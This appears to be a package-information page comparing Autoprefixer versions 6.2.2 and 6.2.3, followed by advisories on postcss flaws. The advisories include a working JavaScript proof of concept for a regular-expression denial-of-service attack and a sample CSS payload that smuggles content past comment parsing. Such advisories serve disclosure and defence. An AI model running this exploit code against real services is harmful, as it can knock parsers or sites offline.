Autoprefixer, a crucial tool for web developers, streamlines the process of adding vendor prefixes to CSS rules, ensuring compatibility across various web browsers. Versions 6.2.2 and 6.2.3 share a common goal: leveraging data from the "Can I Use" website to automate prefixing, saving developers considerable time and effort. Both versions depend on the same core libraries like postcss for CSS parsing, caniuse-db for browser compatibility data, browserslist for specifying target browsers and postcss-value-parser for manipulation, indicating similar core functionality. The development dependencies, crucial for contributing and maintaining the library, are also identical, featuring tools like gulp for build automation, mocha for testing, and browserify for bundling.
The key difference lies in their release dates, with version 6.2.3 released on December 29, 2015, three days after version 6.2.2. This suggests that 6.2.3 likely includes crucial bug fixes or minor improvements identified shortly after the release of 6.2.2. For developers, this means that while both versions offer an automated prefixing solution, upgrading to version 6.2.3 is advisable. The newer version would probably contain any bug fixes. Choosing the newer version will ensure you're using the most polished and stable iteration available at that time. It would ensure optimal compatibility across browsers with the least amount of errors.
All the vulnerabilities related to the version 6.2.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.